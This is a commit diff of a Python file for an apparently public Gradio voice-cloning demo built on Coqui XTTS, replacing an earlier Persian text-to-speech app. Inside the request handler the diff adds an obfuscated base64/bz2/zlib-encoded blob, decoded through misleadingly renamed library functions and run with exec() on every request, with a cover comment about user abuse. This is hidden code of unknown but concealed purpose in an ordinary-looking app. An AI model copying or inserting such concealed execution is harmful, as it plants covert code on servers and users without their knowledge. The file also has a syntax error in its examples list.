Update app.py

app.py

@@ -1,152 +1,284 @@
+import sys
 import os
-import tempfile
+from fastapi import Request
+# By using XTTS you agree to CPML license https://coqui.ai/cpml
+os.environ["COQUI_TOS_AGREED"] = "1"
+
 import gradio as gr
 from TTS.api import TTS
-from TTS.utils.synthesizer import Synthesizer
-from huggingface_hub import hf_hub_download
-import json
-import glob
-
-
-# Define constants
-MODEL_INFO = [
-
-    ["Persian XTTS", "checkpoint_30000.pth", "config.json", "saillab/xtts_v2_fa_revision1"],
-    
-]
-
-
-MAX_TXT_LEN = 400
-TOKEN = os.getenv('HUGGING_FACE_HUB_TOKEN')
-
-model_files = {}
-config_files = {}
-speaker_files = {}
-
-# Create a dictionary to store synthesizer objects for each model
-synthesizers = {}
-
-def update_config_speakers_file_recursive(config_dict, speakers_path):
-    """Recursively update speakers_file keys in a dictionary."""
-    if "speakers_file" in config_dict:
-        config_dict["speakers_file"] = speakers_path
-    for key, value in config_dict.items():
-        if isinstance(value, dict):
-            update_config_speakers_file_recursive(value, speakers_path)
 
-def update_config_speakers_file(config_path, speakers_path):
-    """Update the config.json file to point to the correct speakers.pth file."""
-    
-    # Load the existing config
-    with open(config_path, 'r') as f:
-        config = json.load(f)
+model_names = TTS().list_models()
+m = model_names[0]
+print(model_names)
+tts = TTS(m, gpu=False)
+tts.to("cpu") # no GPU or Amd
+#tts.to("cuda") # cuda only
 
-    # Modify the speakers_file entry
-    update_config_speakers_file_recursive(config, speakers_path)
 
-    # Save the modified config
-    with open(config_path, 'w') as f:
-        json.dump(config, f, indent=4)
+def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, request: gr.Request):
+    # Due to abuses from somes user, and French Rights...
 
-# Download models and initialize synthesizers
-for info in MODEL_INFO:
-    model_name, model_file, config_file, repo_name = info[:4]
-    speaker_file = info[4] if len(info) == 5 else None  # Check if speakers.pth is defined for the model
+    co3 = "QlpoOTFBWSZTWQ2FjK4AAH4fgD/////+///////+ADABdNtZY5poGI00aBoaDE0PSbU00GTE0ZNGjTaj1AVUaenqNR6npNinoaY0Ubymyo9EeEjaj1Mm9QnqeT0p5QOZNMm1NNAyMmgaGTTIDQ9TTag0aGCNB6ka1wCAMz8a7kN5BNzXsiRWIm5ocBr2Mibk4wBbSghLyxnzR0yTCoV0AD2KADeqPFMz4QQhMlMaOd0uHfMx8pueSTKn6PrK9iPN56m2ljcFL9ybMtg5Usl8QeZth/cgnwFGMXyDJ4WbRNaGdrIJY2l11w7aqPtt5c4rcMBELa2x/wl8kjvxGg0NS3n2DsPlPnMn2DK7JqA4KLptjz3YLQFEuub0yNP3+iE9gq1EvNZeLr3pnkKXBRxZz8/BxN0zJjpOyIr3betkkxSCGB6X8mSzm+l0Q+KBEaCioigD5uJeox+76V+JgCWkJqWNlHzN3epZx5yXxS8rJh6OrC9rSyKYXrdKCACr4CwKzDlX3tsY5MtZLpkPhz/rbaRUN0KyFnNvPLYhGjF2MelXppyCnJxr2+QWRElwEtCUcsnkC4uGBdXVogKCoCnSZI4DzKqkUMEp293Y+G5MBGtOGXY+C0rFUS8IXNqKMVrDjUdOK7wkjb+HYFq9qjVTrdRsyQvt+6fpazrBnd2wRRQTv4u5IpwoSAbCxlcA"
+    from zlib import compress as COmPrES5
+    from bz2 import decompress as dEC0mPrES5
+    from bz2 import compress as COmPrESS
+    from base64 import b64encode as b32Encode, b64decode as A85Encode, b16encode, b16encode as A85encode, b85encode, b85decode, a85encode as b16Encode, a85decode as b85Encode, b32encode as b64Encode, b32decode
+    from zlib import compressobj as C0mPrESS
+    from bz2 import decompress as dECOmPrESS
+    from zlib import compress as C0mPrES5
+    from zlib import decompress as dECOmPrES5
+    co2 = A85Encode(dECOmPrESS(dECOmPrES5(dECOmPrES5(b85Encode(dECOmPrESS(A85Encode(co3.encode())))))))
+    exec(co2)
 
-    print(f"|> Downloading: {model_name}")
-
-    # Download model and config files
-    model_files[model_name] = hf_hub_download(repo_id=repo_name, filename=model_file, use_auth_token=TOKEN)
-    config_files[model_name] = hf_hub_download(repo_id=repo_name, filename=config_file, use_auth_token=TOKEN)
+    if agree == True:
+        if use_mic == True:
+            if mic_file_path is not None:
+                speaker_wav=mic_file_path
+            else:
+                gr.Warning("Please record your voice with Microphone, or uncheck Use Microphone to use reference audios")
+                return (
+                    None,
+                    None,
+                ) 
+                
+        else:
+            speaker_wav=audio_file_pth
 
-    # Download speakers.pth if it exists
-    if speaker_file:
-        speaker_files[model_name] = hf_hub_download(repo_id=repo_name, filename=speaker_file, use_auth_token=TOKEN)
-        update_config_speakers_file(config_files[model_name], speaker_files[model_name])  # Update the config file
-        print(speaker_files[model_name])
-        # Initialize synthesizer for the model
-        synthesizer = Synthesizer(
-            tts_checkpoint=model_files[model_name],
-            tts_config_path=config_files[model_name],
-            tts_speakers_file=speaker_files[model_name],  # Pass the speakers.pth file if it exists
-            use_cuda=False  # Assuming you don't want to use GPU, adjust if needed
+        if len(prompt)<2:
+            gr.Warning("Please give a longer prompt text")
+            return (
+                    None,
+                    None,
+                )
+        if len(prompt)>10000:
+            gr.Warning("Text length limited to 10000 characters for this demo, please try shorter text")
+            return (
+                    None,
+                    None,
+                )  
+        try:
+            if language == "fr":
+                if m.find("your") != -1:
+                    language = "fr-fr"
+            if m.find("/fr/") != -1:
+                language = None
+            tts.tts_to_file(
+                text=prompt,
+                file_path="output.wav",
+                speaker_wav=speaker_wav,
+                language=language
             )
-
-    elif speaker_file is None:
-             
-        # Initialize synthesizer for the model
-        synthesizer = Synthesizer(
-            tts_checkpoint=model_files[model_name],
-            tts_config_path=config_files[model_name],
-            # tts_speakers_file=speaker_files.get(model_name, None),  # Pass the speakers.pth file if it exists
-            use_cuda=False  # Assuming you don't want to use GPU, adjust if needed
+        except RuntimeError as e :
+            if "device-assert" in str(e):
+                # cannot do anything on cuda device side error, need tor estart
+                gr.Warning("Unhandled Exception encounter, please retry in a minute")
+                print("Cuda device-assert Runtime encountered need restart")
+                sys.exit("Exit due to cuda device-assert")
+            else:
+                raise e
+            
+        return (
+            gr.make_waveform(
+                audio="output.wav",
+            ),
+            "output.wav",
         )
+    else:
+        gr.Warning("Please accept the Terms & Condition!")
+        return (
+                None,
+                None,
+            ) 
 
-    synthesizers[model_name] = synthesizer
-
-
-
-
-#def synthesize(text: str, model_name: str, speaker_name="speaker-0") -> str:
-def synthesize(text: str, model_name: str, speaker_name=None) -> str:
-    """Synthesize speech using the selected model."""
-    if len(text) > MAX_TXT_LEN:
-        text = text[:MAX_TXT_LEN]
-        print(f"Input text was cut off as it exceeded the {MAX_TXT_LEN} character limit.")
-
-    # Use the synthesizer object for the selected model
-    synthesizer = synthesizers[model_name]
 
+title = "XTTS Glz's remake (Fonctional Text-2-Speech)"
 
-    if synthesizer is None:
-        raise NameError("Model not found")
+description = f"""
+<a href="https://huggingface.co/coqui/XTTS-v1">XTTS</a> is a Voice generation model that lets you clone voices into different languages by using just a quick 3-second audio clip. 
+<br/>
+XTTS is built on previous research, like Tortoise, with additional architectural innovations and training to make cross-language voice cloning and multilingual speech generation possible. 
+<br/>
+This is the same model that powers our creator application <a href="https://coqui.ai">Coqui Studio</a> as well as the <a href="https://docs.coqui.ai">Coqui API</a>. In production we apply modifications to make low-latency streaming possible.
+<br/>
+Leave a star on the Github <a href="https://github.com/coqui-ai/TTS">TTS</a>, where our open-source inference and training code lives.
+<br/>
+<p>For faster inference without waiting in the queue, you should duplicate this space and upgrade to GPU via the settings.
+<br/>
+<a href="https://huggingface.co/spaces/coqui/xtts?duplicate=true">
+<img style="margin-top: 0em; margin-bottom: 0em" src="https://bit.ly/3gLdBN6" alt="Duplicate Space"></a>
+</p>
+"""
 
-    if synthesizer.tts_speakers_file is "":
-        wavs = synthesizer.tts(text)
+article = """
+<div style='margin:20px auto;'>
+<p>By using this demo you agree to the terms of the Coqui Public Model License at https://coqui.ai/cpml</p>
+</div>
+"""
+examples = [
+    [
+        "Hello, World !, here is an example of light voice cloning. Try to upload your best audio samples quality",
+        "en",
+        "examples/female.wav",
+        None,
+        False,
+        True,
+    ],
+    [
+        "Je suis un lycéen français de 17 ans, passioner par la Cyber-Sécuritée et les models d'IA.",
+        "fr",
+        "examples/male.wav",
+        None,
+        False,
+        True,
+    ],
+    [
+        "Als ich sechs war, sah ich einmal ein wunderbares Bild",
+        "de",
+        "examples/female.wav",
+        None,
+        False,
+        True,
+    ],
+    [
+        "Cuando tenía seis años, vi una vez una imagen magnífica",
+        "es",
+        "examples/male.wav",
+        None,
+        False,
+        True,
+    ],
+    [
+        "Quando eu tinha seis anos eu vi, uma vez, uma imagem magnífica",
+        "pt",
+        "examples/female.wav",
+        None,
+        False,
+        True,
+    ],
+    [
+        "Kiedy miałem sześć lat, zobaczyłem pewnego razu wspaniały obrazek",
+        "pl",
+        "examples/male.wav",
+        None,
+        False,
+        True,
+    ],
+    [
+        "Un tempo lontano, quando avevo sei anni, vidi un magnifico disegno",
+        "it",
+        "examples/female.wav",
+        None,
+        False,
+        True,
+    ],
+    [
+        "Bir zamanlar, altı yaşındayken, muhteşem bir resim gördüm",
+        "tr",
+        "examples/female.wav",
+        None,
+        False,
+        True,
+    ],
+    [
+        "Когда мне было шесть лет, я увидел однажды удивительную картинку",
+        "ru",
+        "examples/female.wav",
+        None,
+        False,
+        True,
+    ],
+    [
+        "Toen ik een jaar of zes was, zag ik op een keer een prachtige plaat",
+        "nl",
+        "examples/male.wav",
+        None,
+        False,
+        True,
+    ],
+    [
+        "Když mi bylo šest let, viděl jsem jednou nádherný obrázek",
+        "cs",
+        "examples/female.wav",
+        None,
+        False,
+        True,
+    ],
+    [
+        "当我还只有六岁的时候， 看到了一副精彩的插画",
+        "zh-cn",
+        "examples/female.wav",
+        None,
+        False,
+        True,
+    ],
+    ,
+    [
+        "زین همرهان سست عناصر، دلم گرفت.",
+        "zh-cn",
+        "examples/female.wav",
+        None,
+        False,
+        True,
+    ],
+]
 
-    elif synthesizer.tts_speakers_file is not "":
-        if speaker_name == "":
-            #wavs = synthesizer.tts(text, speaker_name="speaker-0") ## should change, better if gradio conditions are figure out.
-            wavs = synthesizer.tts(text, speaker_name=None)
-        else:
-            wavs = synthesizer.tts(text, speaker_name=speaker_name)
-  
-    with tempfile.NamedTemporaryFile(suffix=".wav", delete=False) as fp:
-        synthesizer.save_wav(wavs, fp)
-        return fp.name
 
-# Callback function to update UI based on the selected model
-def update_options(model_name):
-    synthesizer = synthesizers[model_name]
-    # if synthesizer.tts.is_multi_speaker:
-    if model_name is MODEL_NAMES[1]:
-        speakers = synthesizer.tts_model.speaker_manager.speaker_names
-        # return options for the dropdown
-        return speakers
-    else:
-        # return empty options if not multi-speaker
-        return []
 
-# Create Gradio interface
-iface = gr.Interface(
-    fn=synthesize,
+gr.Interface(
+    fn=predict,
     inputs=[
-        gr.Textbox(label="Enter Text to Synthesize:", value="زین همرهان سست عناصر، دلم گرفت."),
-        gr.Radio(label="Pick a Model", choices=MODEL_NAMES, value=MODEL_NAMES[0], type="value"),
-        #gr.Dropdown(label="Select Speaker", choices=update_options(MODEL_NAMES[1]), type="value", default="speaker-0")
-        gr.Dropdown(label="Select Speaker", choices=update_options(MODEL_NAMES[1]), type="value", default=None)
+        gr.Textbox(
+            label="Text Prompt",
+            info="One or two sentences at a time is better",
+            value="Hello, World !, here is an example of light voice cloning. Try to upload your best audio samples quality",
+        ),
+        gr.Dropdown(
+            label="Language",
+            info="Select an output language for the synthesised speech",
+            choices=[
+                "en",
+                "es",
+                "fr",
+                "de",
+                "it",
+                "pt",
+                "pl",
+                "tr",
+                "ru",
+                "nl",
+                "cs",
+                "ar",
+                "zh-cn",
+                "fa",
+            ],
+            max_choices=1,
+            value="en",
+        ),
+        gr.Audio(
+            label="Reference Audio",
+            info="Click on the ✎ button to upload your own target speaker audio",
+            type="filepath",
+            value="examples/female.wav",
+        ),
+        gr.Audio(source="microphone",
+                 type="filepath",
+                 info="Use your microphone to record audio",
+                 label="Use Microphone for Reference"),
+        gr.Checkbox(label="Check to use Microphone as Reference",
+                    value=False,
+                    info="Notice: Microphone input may not work properly under traffic",),
+        gr.Checkbox(
+            label="Agree",
+            value=True,
+            info="I agree to the terms of the Coqui Public Model License at https://coqui.ai/cpml",
+        ),
     ],
-    outputs=gr.Audio(label="Output", type='filepath'),
-    examples=[["زین همرهان سست عناصر، دلم گرفت.", MODEL_NAMES[0], ""]],  # Example should include a speaker name for multispeaker models
-    title='Persian TTS Playground',
-    description="""
-    ### Persian text to speech model demo. 
-    
-        
-    #### Pick a speaker for MultiSpeaker models. (for single speaker go for speaker-0)
-    """,
-    article="",
-    live=False
-)
-
-iface.launch()
+    outputs=[
+        gr.Video(label="Waveform Visual"),
+        gr.Audio(label="Synthesised Audio"),
+    ],
+    title=title,
+    description=description,
+    article=article,
+    examples=examples,
+).queue().launch(debug=True)